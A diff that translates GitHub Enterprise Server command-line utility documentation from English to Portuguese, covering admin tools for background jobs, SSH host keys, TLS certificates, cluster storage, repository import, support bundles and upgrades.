+Conceder privilégios de proprietário da organização a todos os administradores do site em uma organização específica
 
 ```shell
 ghe-org-admin-promote -o <em>ORGANIZATION</em>
 ```
 
-Give organization owner privileges in all organizations to all site admins
+Conceder privilégios de proprietário da organização a todos os administradores do site em todas as organizações
 
 ```shell
 ghe-org-admin-promote -a
@@ -270,7 +271,7 @@ ghe-org-admin-promote -a
 
 ### ghe-reactivate-admin-login
 
-Use this command to immediately unlock the {% data variables.enterprise.management_console %} after 10 failed login attempts in the span of 10 minutes.
+Use este comando para desbloquear imediatamente o {% data variables.enterprise.management_console %} após 10 tentativas de login com falha no período de 10 minutos.
 
 ```shell
 $ ghe-reactivate-admin-login
@@ -281,51 +282,51 @@ $ ghe-reactivate-admin-login
 
 ### ghe-resque-info
 
-This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page.
+Este utilitário exibe informações sobre trabalhos em segundo plano, ativos e em fila. Ele fornece os mesmos números de contagem de trabalhos que a barra de estatísticas de administração, na parte superior de todas as páginas.
 
-This utility can help identify whether the Resque server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Resque:
+Este utilitário pode ajudar a identificar se o servidor Resque está tendo problemas ao processar trabalhos em segundo plano. Quaisquer dos cenários a seguir podem indicar problemas com o Resque:
 
-* The number of background jobs is increasing, while the active jobs remain the same.
-* The event feeds are not updating.
-* Webhooks are not being triggered.
-* The web interface is not updating after a Git push.
+* O número de trabalhos em segundo plano está aumentando, e os trabalhos ativos continuam iguais.
+* Os feeds de evento não estão sendo atualizados.
+* Webhooks não estão sendo acionados.
+* A interface web não atualiza após um push do Git.
 
-If you suspect Resque is failing, contact {% data variables.contact.contact_ent_support %} for help.
+Se você desconfiar de falha no Resque, entre em contato com o {% data variables.contact.contact_ent_support %}.
 
-With this command, you can also pause or resume jobs in the queue.
+Com este comando, também é possível pausar ou retomar trabalhos na fila.
 
 ```shell
 $ ghe-resque-info
-# lists queues and the number of currently queued jobs
+# lista filas e o número de trabalhos em fila
 $ ghe-resque-info -p <em>QUEUE</em>
-# pauses the specified queue
+# pausa a fila especificada
 $ ghe-resque-info -r <em>QUEUE</em>
-# resumes the specified queue
+# retoma a fila especificada
 ```
 {% endif %}
 
 ### ghe-saml-mapping-csv
 
-This utility can help map SAML records.
+Este utilitário pode ajudar a mapear os registros SAML.
 
-To create a CSV file containing all the SAML mapping for your {% data variables.product.product_name %} users:
+Para criar um arquivo CSV contendo todo o mapeamento SAML para os seus usuários do {% data variables.product.product_name %}:
 ```shell
 $ ghe-saml-mapping-csv -d
 ```
 
-To perform a dry run of updating SAML mappings with new values:
+Para executar uma execução seca de atualização de mapeamentos SAML com novos valores:
 ```shell
 $ ghe-saml-mapping-csv -u -n -f /path/to/file
 ```
 
-To update SAML mappings with new values:
+Para atualizar os mapeamentos SAML com novos valores:
 ```shell
 $ ghe-saml-mapping-csv -u -f /path/to/file
 ```
 
 ### ghe-service-list
 
-This utility lists all of the services that have been started or stopped (are running or waiting) on your appliance.
+Este utilitário lista todos os serviços iniciados ou parados (em execução ou em espera) no appliance.
 
 ```shell
 $ ghe-service-list
@@ -352,7 +353,7 @@ stop/waiting
 
 ### ghe-set-password
 
-With `ghe-set-password`, you can set a new password to authenticate into the [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console).
+Com `ghe-set-password`, você pode definir uma nova senha para autenticação no [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console).
 
 ```shell
 ghe-set-password <new_password>
@@ -360,55 +361,55 @@ ghe-set-password <new_password>
 
 ### ghe-ssh-check-host-keys
 
-This utility checks the existing SSH host keys against the list of known leaked SSH host keys.
+Este utilitário verifica as chaves do host SSH atuais para identificar chaves vazadas conhecidas.
 
 ```shell
 $ ghe-ssh-check-host-keys
 ```
 
-If a leaked host key is found the utility exits with status `1` and a message:
+Se houver alguma chave vazada, o utilitário exibirá o status `1` e a seguinte mensagem:
 ```shell
-> One or more of your SSH host keys were found in the blacklist.
-> Please reset your host keys using ghe-ssh-roll-host-keys.
+> Uma ou mais chaves do host SSH foram encontradas na lista de bloqueio.
+> Redefina suas chaves de host usando ghe-ssh-roll-host-keys.
 ```
 
-If a leaked host key was not found, the utility exits with status `0` and a message:
+Se não houver chaves de host vazadas, o utilitário exibirá o status `0` e a seguinte mensagem:
 ```shell
-> The SSH host keys were not found in the SSH host key blacklist.
-> No additional steps are needed/recommended at this time.
+> As chaves de host SSH não foram encontradas na lista de bloqueio.
+> No momento, nenhuma etapa adicional é necessária/recomendada.
 ```
 
 ### ghe-ssh-roll-host-keys
 
-This utility rolls the SSH host keys and replaces them with newly generated keys.
+Este utilitário acumula as chaves do host SSH e as substitui por chaves recém-geradas.
 
 ```shell
 $ sudo ghe-ssh-roll-host-keys
-Proceed with rolling SSH host keys? This will delete the
-existing keys in /etc/ssh/ssh_host_* and generate new ones. [y/N]
+Continuar para acumular chaves de host SSH? Esta ação excluirá as
+chaves atuais em /etc/ssh/ssh_host_* para gerar chaves novas. [y/N]
 
-# Press 'Y' to confirm deleting, or use the -y switch to bypass this prompt
+# Pressione 'Y' para confirmar a exclusão ou use o switch -y para ignorar esta solicitação
 
-> SSH host keys have successfully been rolled.
+> chaves de host SSH foram acumuladas com êxito.
 ```
 
 ### ghe-ssh-weak-fingerprints
 
-This utility returns a report of known weak SSH keys stored on the {% data variables.product.prodname_enterprise %} appliance. You can optionally revoke user keys as a bulk action. The utility will report weak system keys, which you must manually revoke in the [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console).
+Este utilitário retorna um relatório de chaves SSH fracas conhecidas armazenadas no appliance do {% data variables.product.prodname_enterprise %}. Você também pode revogar as chaves do usuário como uma ação em lote. O utilitário relatará as chaves de sistema fracas, que você deve revogar manualmente no [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console).
 
 ```shell
-# Print a report of weak user and system SSH keys
+# Imprimir um relatório de chaves SSH fracas do usuário e do sistema
 $ ghe-ssh-weak-fingerprints
 
-# Revoke all weak user keys
+# Revogar todas as chaves fracas de usuário
 $ ghe-ssh-weak-fingerprints --revoke
 ```
 
 ### ghe-ssl-acme
 
-This utility allows you to install a Let's Encrypt certificate on your {% data variables.product.prodname_enterprise %} appliance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)."
+Este utilitário permite instalar um certificado Let's Encrypt no seu appliance do {% data variables.product.prodname_enterprise %}. Para obter mais informações, consulte "[Configurar o TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)".
 
-You can use the `-x` flag to remove the ACME configuration.
+Você pode usar o sinalizador `-x` para remover a configuração ACME.
 
 ```shell
 ghe-ssl-acme -e
@@ -416,11 +417,11 @@ ghe-ssl-acme -e
 
 ### ghe-ssl-ca-certificate-install
 
-This utility allows you to install a custom root CA certificate on your {% data variables.product.prodname_enterprise %} server. The certificate must be in PEM format. Furthermore, if your certificate provider includes multiple CA certificates in a single file, you must separate them into individual files that you then pass to `ghe-ssl-ca-certificate-install` one at a time.
+Este utilitário permite instalar um certificado CA personalizado de raiz no seu appliance do {% data variables.product.prodname_enterprise %}. O certificado deve estar no formato PEM. Além disso, se o seu provedor de certificados incluir vários certificados CA em um só arquivo, você deverá separá-los em arquivos a serem passados individualmente para ` ghe-ssl-ca-certificate-install`.
 
-Run this utility to add a certificate chain for S/MIME commit signature verification. For more information, see "[About commit signature verification](/enterprise/{{ currentVersion }}/user/articles/about-commit-signature-verification/)."
+Execute este utilitário para adicionar uma cadeia de certificados para verificação de assinatura de commits S/MIME. Para obter mais informações, consulte "[Sobre a verificação de assinatura de commit](/enterprise/{{ currentVersion }}/user/articles/about-commit-signature-verification/)".
 
-Run this utility when {% data variables.product.product_location %} is unable to connect to another server because the latter is using a self-signed SSL certificate or an SSL certificate for which it doesn't provide the necessary CA bundle. One way to confirm this is to run `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` from {% data variables.product.product_location %}. If the remote server's SSL certificate can be verified, your `SSL-Session` should have a return code of 0, as shown below.
+Execute este utilitário quando a {% data variables.product.product_location %} não conseguir se conectar a outro servidor por ele estar usando um certificado SSL autoassinado ou um certificado SSL para o qual não há o pacote CA necessário. Uma forma de confirmar essa questão é executar `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` na {% data variables.product.product_location %}. Se o certificado SSL do servidor remoto puder ser verificado, sua `SSL-Session` deverá ter um código de retorno 0, conforme mostrado abaixo.
 
 ```
 SSL-Session:
@@ -435,7 +436,7 @@ SSL-Session:
     Verify return code: 0 (ok)
 ```
 
-If, on the other hand, the remote server's SSL certificate can *not* be verified, your `SSL-Session` should have a nonzero return code:
+Por outro lado, se o certificado SSL do servidor remoto *não* puder ser verificado, sua `SSL-Session` deverá ter um código de retorno diferente de zero:
 
 ```
 SSL-Session:
@@ -450,9 +451,9 @@ SSL-Session:
     Verify return code: 27 (certificate not trusted)
 ```
 
-You can use these additional options with the utility:
-- The `-r` flag allows you to uninstall a CA certificate.
-- The `-h` flag displays more usage information.
+É possível usar estas opções adicionais com o utilitário:
+- O sinalizador `-r` permite desinstalar um certificado CA;
+- O sinalizador `-h` exibe mais informações de uso.
 
 ```shell
 ghe-ssl-ca-certificate-install -c <em>/path/to/certificate</em>
@@ -460,9 +461,9 @@ ghe-ssl-ca-certificate-install -c <em>/path/to/certificate</em>
 
 ### ghe-ssl-generate-csr
 
-This utility allows you to generate a private key and certificate signing request (CSR), which you can share with a commercial or private certificate authority to get a valid certificate to use with your instance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)."
+Com este utilitário, você pode gerar uma chave privada e uma solicitação de assinatura de certificado (CSR, Certificate Signing Request) a ser compartilhada com uma autoridade certificada comercial ou privada para obter um certificado válido na sua instância. Para obter mais informações, consulte "[Configurar o TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)".
 
-For more information about this command or for additional options, use the `-h` flag.
+Para saber mais sobre este comando ou consultar opções adicionais, use o sinalizador `-h`.
 
 ```shell
 ghe-ssl-generate-csr
@@ -470,7 +471,7 @@ ghe-ssl-generate-csr
 
 ### ghe-storage-extend
 
-Some platforms require this script to expand the user volume. For more information, see "[Increasing Storage Capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)".
+Algumas plataformas exigem este script para aumentar o volume de usuários. Para obter mais informações, consulte "[Aumentar a capacidade de armazenamento](/enterprise/admin/guides/installation/increasing-storage-capacity/)".
 
 ```shell
 $ ghe-storage-extend
@@ -478,7 +479,7 @@ $ ghe-storage-extend
 
 ### ghe-version
 
-This utility prints the version, platform, and build of {% data variables.product.product_location %}.
+Este utilitário imprime a versão, a plataforma e a compilação da {% data variables.product.product_location %}.
 
 ```shell
 $ ghe-version
@@ -486,26 +487,26 @@ $ ghe-version
 
 ### ghe-webhook-logs
 
-This utility returns webhook delivery logs for administrators to review and identify any issues.
+Este utilitário retorna logs de entrega de webhook para os administradores revisarem e identificarem problemas.
 
 ```shell
 ghe-webhook-logs
 ```
 
-To show all failed hook deliveries in the past day:
+Para exibir todas as entregas de hook falhas do último dia:
 {% ifversion ghes %}
 ```shell
 ghe-webhook-logs -f -a <em>YYYY-MM-DD</em>
 ```
 
-The date format should be `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, or `YYYY-MM-DD HH:MM:SS (+/-) HH:M`.
+O formato da data deve ser `AAAA-MM-DD`, `AAAA-MM-DD HH:MM:SS`, ou `AAAA-MM-DD HH:MM:SS (+/-) HH:M`.
 {% else %}
 ```shell
 ghe-webhook-logs -f -a <em>YYYYMMDD</em>
 ```
 {% endif %}
 
-To show the full hook payload, result, and any exceptions for the delivery:
+Para exibir a carga útil total do hook, o resultado e quaisquer exceções para a entrega:
 {% ifversion ghes %}
 ```shell
 ghe-webhook-logs -g <em>delivery-guid</em>
@@ -520,7 +521,7 @@ ghe-webhook-logs -g <em>delivery-guid</em> -v
 
 ### ghe-cluster-status
 
-Check the health of your nodes and services in a cluster deployment of {% data variables.product.prodname_ghe_server %}.
+Verifique a saúde dos seus nós e serviços em uma implantação de clustering de {% data variables.product.prodname_ghe_server %}.
 
 ```shell
 $ ghe-cluster-status
@@ -528,26 +529,26 @@ $ ghe-cluster-status
 
 ### ghe-cluster-support-bundle
 
-This utility creates a support bundle tarball containing important logs from each of the nodes in either a Geo-replication or Clustering configuration.
+Este utilitário cria um pacote de suporte tarball com logs importantes de cada nó em configurações de replicação geográfica ou de cluster.
 
-By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the cluster support bundle directly to {% data variables.product.prodname_enterprise %} support.
+O comando cria o tarball em */tmp* por padrão, mas você também pode criar em `cat` para `STDOUT` a fim de facilitar a transmissão por SSH. Fazer isso é útil caso a interface da web não responda ou baixe um pacote de suporte de */setup/support* que não funcione. Você deve usar este comando se quiser gerar um pacote *estendido*, com logs mais antigos. Também é possível usá-lo para fazer upload do pacote de suporte de cluster diretamente para o suporte do {% data variables.product.prodname_enterprise %}.
 
-To create a standard bundle:
+Para criar um pacote padrão:
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-cluster-support-bundle -o' > cluster-support-bundle.tgz
 ```
 
-To create an extended bundle:
+Para criar um pacote estendido:
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-cluster-support-bundle -x -o' > cluster-support-bundle.tgz
 ```
 
-To send a bundle to {% data variables.contact.github_support %}:
+Para enviar um pacote para {% data variables.contact.github_support %}:
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-cluster-support-bundle -u'
 ```
 
-To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket:
+Para enviar um pacote para {% data variables.contact.github_support %} e associar o pacote a um tíquete:
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-cluster-support-bundle -t <em>ticket-id</em>'
 ```
@@ -555,7 +556,7 @@ $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-cluster-support-bundle -t <em>ticke
 {% ifversion ghes %}
 ### ghe-cluster-failover
 
-Fail over from active cluster nodes to passive cluster nodes. For more information, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)."
+Falha ao sair de nós de cluster ativos para nós de cluster passivo. Para obter mais informações, consulte "[Iniciar um failover para seu cluster de réplica](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)".
 
 ```shell
 ghe-cluster-failover
@@ -564,43 +565,43 @@ ghe-cluster-failover
 
 ### ghe-dpages
 
-This utility allows you to manage the distributed {% data variables.product.prodname_pages %} server.
+Este utilitário permite que você gerencie o servidor distribuído {% data variables.product.prodname_pages %}.
 
 ```shell
 ghe-dpages
 ```
 
-To show a summary of repository location and health:
+Para mostrar um resumo da localização e saúde do repositório:
 ```shell
 ghe-dpages status
 ```
 
-To evacuate a {% data variables.product.prodname_pages %} storage service before evacuating a cluster node:
+Para evacuar um serviço de armazenamento {% data variables.product.prodname_pages %} antes de evacuar um nó de cluster:
 ```shell
 ghe-dpages evacuate pages-server-<em>UUID</em>
 ```
 
 ### ghe-spokes
 
-This utility allows you to manage the three copies of each repository on the distributed git servers.
+Este utilitário permite gerenciar as três cópias de cada repositório nos servidores distribuídos do git.
 
 ```shell
 ghe-spokes
 ```
 
-To show a summary of repository location and health:
+Para mostrar um resumo da localização e saúde do repositório:
 
 ```shell
 ghe-spokes status
 ```
 
-To show the servers in which the repository is stored:
+Para mostrar os servidores em que o repositório está armazenado:
 
 ```shell
 ghe-spokes route
 ```
 
-To evacuate storage services on a cluster node:
+Para evacuar os serviços de armazenamento em um nó de cluster:
 
 ```shell
 ghe-spokes server evacuate git-server-<em>UUID</em>
@@ -608,7 +609,7 @@ ghe-spokes server evacuate git-server-<em>UUID</em>
 
 ### ghe-storage
 
-This utility allows you to evacuate all storage services before evacuating a cluster node.
+Este utilitário permite remover todos os serviços de armazenamento antes de remover um nó de cluster.
 
 ```shell
 ghe-storage evacuate storage-server-<em>UUID</em>
@@ -618,7 +619,7 @@ ghe-storage evacuate storage-server-<em>UUID</em>
 
 ### ghe-btop
 
-A `top`-like interface for current Git operations.
+Interface do tipo `top` para as operações atuais do Git.
 
 ```shell
 ghe-btop [ <port number> | --help | --usage ]
@@ -626,7 +627,7 @@ ghe-btop [ <port number> | --help | --usage ]
 
 #### ghe-governor
 
-This utility helps to analyze Git traffic. It queries _Governor_ data files, located under `/data/user/gitmon`. {% data variables.product.company_short %} holds one hour of data per file, retained for two weeks. For more information, see [Analyzing Git traffic using Governor](https://github.community/t/analyzing-git-traffic-using-governor/13516) in {% data variables.product.prodname_gcf %}.
+Este utilitário ajuda a analisar o tráfego do Git. Ela consulta arquivos de dados do _Governador_, localizados em `/data/user/gitmon`. {% data variables.product.company_short %} mantém uma hora de dados por arquivo, retidos por duas semanas. Para obter mais informações, consulte [Analisando tráfego do Git que usa o Governador](https://github.community/t/analyzing-git-traffic-using-governor/13516) em {% data variables.product.prodname_gcf %}.
 
 ```bash
 ghe-governor <subcommand> <column> [options]
@@ -639,7 +640,7 @@ Usage: ghe-governor [-h] <subcommand> args
 OPTIONS:
   -h | --help        Show this message.
 
-Valid subcommands are:
+Os subcomandos válidos são:
   aggregate              Find the top (n) groups of queries for a grouping function and metric
   health                 Summarize all recent activity on one or more servers
   top                    Find the top (n) queries for a given metric
@@ -651,7 +652,7 @@ Try ghe-governor <subcommand> --help for more information on the arguments each
 
 ### ghe-repo
 
-This utility allows you to change to a repository's directory and open an interactive shell as the `git` user. You can perform manual inspection or maintenance of a repository via commands like `git-*` or `git-nw-*`.
+Este utilitário permite mudar para o diretório de um repositório e abrir um shell interativo como usuário do `git`. Você pode fazer a inspeção ou manutenção manual de um repositório usando comandos como `git-*` ou `git-nw-*`.
 
 ```shell
 ghe-repo <em>username</em>/<em>reponame</em>
@@ -659,64 +660,64 @@ ghe-repo <em>username</em>/<em>reponame</em>
 
 ### ghe-repo-gc
 
-This utility manually repackages a repository network to optimize pack storage. If you have a large repository, running this command may help reduce its overall size. {% data variables.product.prodname_enterprise %} automatically runs this command throughout your interaction with a repository network.
+Este utilitário empacota manualmente uma rede de repositórios para otimizar o armazenamento do pacote. Se você tem um repositório muito grande, esse comando pode ajudar a reduzir o tamanho. O {% data variables.product.prodname_enterprise %} executa automaticamente este comando durante toda a sua interação com uma rede de repositórios.
 
-You can add the optional `--prune` argument to remove unreachable Git objects that aren't referenced from a branch, tag, or any other ref. This is particularly useful for immediately removing [previously expunged sensitive information](/enterprise/user/articles/remove-sensitive-data/).
+Você pode adicionar o argumento opcional `--prune` para remover objetos inacessíveis do Git que não são referenciados em um branch, tag ou qualquer outra referência. Fazer isso é útil principalmente para remover de imediato [informações confidenciais já eliminadas](/enterprise/user/articles/remove-sensitive-data/).
 
 ```shell
 ghe-repo-gc <em>username</em>/<em>reponame</em>
 ```
 
-## Import and export
+## Importação e exportação
 
 ### ghe-migrator
 
-`ghe-migrator` is a hi-fidelity tool to help you migrate from one GitHub instance to another. You can consolidate your instances or move your organization, users, teams, and repositories from GitHub.com to {% data variables.product.prodname_enterprise %}.
+O `ghe-migrator` é uma ferramenta de alta fidelidade que ajuda a fazer migrações de uma instância do GitHub para outra. Você pode consolidar suas instâncias ou mover a organização, os usuários, as equipes e os repositórios do GitHub.com para o {% data variables.product.prodname_enterprise %}.
 
-For more information, please see our guide on [migrating user, organization, and repository data](/enterprise/admin/guides/migrations/).
+Para obter mais informações, consulte nosso guia sobre [como migrar dados de usuário, organização e repositório](/enterprise/admin/guides/migrations/).
 
 ### git-import-detect
 
-Given a URL, detect which type of source control management system is at the other end. During a manual import this is likely already known, but this can be very useful in automated scripts.
+Em uma URL, detecta qual tipo de sistema de gerenciamento de controle de origem está na outra extremidade. Provavelmente esse processo já é conhecido nas importações manuais, mas pode ser muito útil em scripts automatizados.
 ```shell
 git-import-detect
 ```
 
 ### git-import-hg-raw
 
-This utility imports a Mercurial repository to this Git repository. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
+Este utilitário importa um repositório Mercurial para este repositório Git. Para obter mais informações, consulte [Importar dados de sistemas de controle de versões de terceiros](/enterprise/{}/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
 ```shell
 git-import-hg-raw
 ```
 
 ### git-import-svn-raw
 
-This utility imports Subversion history and file data into a Git branch. This is a straight copy of the tree, ignoring any trunk or branch distinction. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
+Este utilitário importa histórico do Subversion e dados de arquivos para um branch do Git. Trata-se de uma cópia direta da árvore, ignorando qualquer distinção de trunk ou branch. Para obter mais informações, consulte [Importar dados de sistemas de controle de versões de terceiros](/enterprise/{}/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
 ```shell
 git-import-svn-raw
 ```
 
 ### git-import-tfs-raw
 
-This utility imports from Team Foundation Version Control (TFVC). For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
+Este utilitário faz a importação a partir do Controle de Versão da Fundação da Equipe (TFVC). Para obter mais informações, consulte [Importar dados de sistemas de controle de versões de terceiros](/enterprise/{}/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
 ```shell
 git-import-tfs-raw
 ```
 
 ### git-import-rewrite
 
-This utility rewrites the imported repository. This gives you a chance to rename authors and, for Subversion and TFVC, produces Git branches based on folders. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
+Este utilitário reescreve o repositório importado. Isso dá a você a oportunidade de renomear autores e, para o Subversion e TFVC, produz branches Git baseados em pastas. Para obter mais informações, consulte [Importar dados de sistemas de controle de versões de terceiros](/enterprise/{}/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)."
 ```shell
 git-import-rewrite
 ```
 
-## Support
+## Suporte
 
 ### ghe-diagnostics
 
-This utility performs a variety of checks and gathers information about your installation that you can send to support to help diagnose problems you're having.
+Este utilitário faz uma série de verificações e reúne informações sobre a instalação que você pode enviar ao suporte para ajudar a diagnosticar problemas.
 
-Currently, this utility's output is similar to downloading the diagnostics info in the {% data variables.enterprise.management_console %}, but may have additional improvements added to it over time that aren't available in the web UI. For more information, see "[Creating and sharing diagnostic files](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)."
+No momento, a saída do utilitário é semelhante ao download das informações de diagnóstico no {% data variables.enterprise.management_console %}, mas ele pode ter melhorias adicionais ao longo do tempo que não estão disponíveis na interface da web. Para obter mais informações, consulte "[Criar e compartilhar arquivos de diagnóstico](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)".
 
 ```shell
 ghe-diagnostics
@@ -725,26 +726,26 @@ ghe-diagnostics
 ### ghe-support-bundle
 
 {% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %}
-This utility creates a support bundle tarball containing important logs from your instance.
+Esse utilitário cria um tarball do pacote de suporte com logs importantes da sua instância.
 
-By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the support bundle directly to {% data variables.product.prodname_enterprise %} support.
+O comando cria o tarball em */tmp* por padrão, mas você também pode criar em `cat` para `STDOUT` a fim de facilitar a transmissão por SSH. Fazer isso é útil caso a interface da web não responda ou baixe um pacote de suporte de */setup/support* que não funcione. Você deve usar este comando se quiser gerar um pacote *estendido*, com logs mais antigos. Também é possível usá-lo para fazer upload do pacote de suporte diretamente para o suporte do {% data variables.product.prodname_enterprise %}.
 
-To create a standard bundle:
+Para criar um pacote padrão:
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-support-bundle -o' > support-bundle.tgz
 ```
 
-To create an extended bundle:
+Para criar um pacote estendido:
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-support-bundle -x -o' > support-bundle.tgz
 ```
 
-To send a bundle to {% data variables.contact.github_support %}:
+Para enviar um pacote para {% data variables.contact.github_support %}:
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-support-bundle -u'
 ```
 
-To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket:
+Para enviar um pacote para {% data variables.contact.github_support %} e associar o pacote a um tíquete:
 
 ```shell
 $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-support-bundle -t <em>ticket-id</em>'
@@ -752,32 +753,32 @@ $ ssh -p 122 admin@<em>hostname</em> -- 'ghe-support-bundle -t <em>ticket-id</em
 
 ### ghe-support-upload
 
-This utility sends information from your appliance to {% data variables.product.prodname_enterprise %} support. You can either specify a local file, or provide a stream of up to 100MB of data via `STDIN`. The uploaded data can optionally be associated with a support ticket.
+Este utilitário envia informações do seu appliance para o suporte do {% data variables.product.prodname_enterprise %}. Você pode especificar um arquivo local ou fornecer um fluxo de até 100 MB de dados via `STDIN`. Os dados carregados também podem ser associados a um tíquete de suporte.
 
-To send a file to {% data variables.contact.github_support %} and associate the file with a ticket:
+Para enviar um arquivo para {% data variables.contact.github_support %} e associar o arquivo a um tíquete:
 ```shell
 ghe-support-upload -f <em>path/to/your/file</em> -t <em>ticket-id</em>
 ```
 
-To upload data via `STDIN` and associating the data with a ticket:
+Para fazer upload de dados via `STDIN` e associá-los a dados de um tíquete:
 ```shell
 <em>ghe-repl-status -vv</em> | ghe-support-upload -t <em>ticket-id</em> -d "<em>Verbose Replication Status</em>"
 ```
 
-In this example, `ghe-repl-status -vv` sends verbose status information from a replica appliance. You should replace `ghe-repl-status -vv` with the specific data you'd like to stream to `STDIN`, and `Verbose Replication Status` with a brief description of the data. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
+Neste exemplo, `ghe-repl-status -vv` envia informações detalhadas do status de um appliance réplica. Substitua `ghe-repl-status -vv` pelos dados que você deseja transmitir a `STDIN` e faça uma breve descrição dos dados em `Verbose Replication Status`. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %}
 
-## Upgrading {% data variables.product.prodname_ghe_server %}
+## Atualização do {% data variables.product.prodname_ghe_server %}
 
 ### ghe-upgrade
 
-This utility installs or verifies an upgrade package. You can also use this utility to roll back a patch release if an upgrade fails or is interrupted. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)."
+Este utilitário instala ou verifica um pacote de atualização. Também é possível usá-lo para voltar a uma versão de patch em casos de falha ou interrupção de uma atualização. Para obter mais informações, consulte "[Atualizar o {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)".
 
-To verify an upgrade package:
+Para verificar um pacote de atualização:
 ```shell
 ghe-upgrade --verify <em>UPGRADE-PACKAGE-FILENAME</em>
 ```
 
-To install an upgrade package:
+Para instalar um pacote de atualização:
 ```shell
 ghe-upgrade <em>UPGRADE-PACKAGE-FILENAME</em>
 ```
@@ -786,43 +787,43 @@ ghe-upgrade <em>UPGRADE-PACKAGE-FILENAME</em>
 
 ### ghe-upgrade-scheduler
 
-This utility manages scheduled installation of upgrade packages. You can show, create new, or remove scheduled installations. You must create schedules using cron expressions. For more information, see the [Cron Wikipedia entry](https://en.wikipedia.org/wiki/Cron#Overview).
+Este utilitário gerencia a instalação programada de pacotes de atualização. Você pode exibir, criar ou remover instalações programadas. Crie as programações usando expressões cron. Para obter mais informações, leia mais sobre [Cron na Wikipedia](https://en.wikipedia.org/wiki/Cron#Overview).
 
-To schedule a new installation for a package:
+Para agendar uma nova instalação para um pacote:
 ```shell
 $ ghe-upgrade-scheduler -c "0 2 15 12 *" <em>UPGRADE-PACKAGE-FILENAME</em>
 ```
 
-To show scheduled installations for a package:
+Para exibir instalações programadas para um pacote:
 ```shell
 $ ghe-upgrade-scheduler -s <em>UPGRADE PACKAGE FILENAME</em>
 > 0 2 15 12 * /usr/local/bin/ghe-upgrade -y -s <em>UPGRADE-PACKAGE-FILENAME</em> > /data/user/common/<em>UPGRADE-PACKAGE-FILENAME</em>.log 2>&1
 ```
 
-To remove scheduled installations for a package:
+Para remover instalações programadas para um pacote:
 ```shell
 $ ghe-upgrade-scheduler -r <em>UPGRADE PACKAGE FILENAME</em>
 ```
 
 ### ghe-update-check
 
-This utility will check to see if a new patch release of {% data variables.product.prodname_enterprise %} is available. If it is, and if space is available on your instance, it will download the package. By default, it's saved to */var/lib/ghe-updates*. An administrator can then [perform the upgrade](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/).
+Este utilitário verificará se uma nova versão do patch do {% data variables.product.prodname_enterprise %} está disponível. Se estiver e se houver espaço disponível na sua instância, ele baixará o pacote. Por padrão, a versão fica salva em */var/lib/ghe-updates*. Um administrador pode [realizar a atualização](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/).
 
-A file containing the status of the download is available at */var/lib/ghe-updates/ghe-update-check.status*.
+Um arquivo contendo o status do download fica disponível em */var/lib/ghe-updates/ghe-update-check.status*.
 
-To check for the latest {% data variables.product.prodname_enterprise %} release, use the `-i` switch.
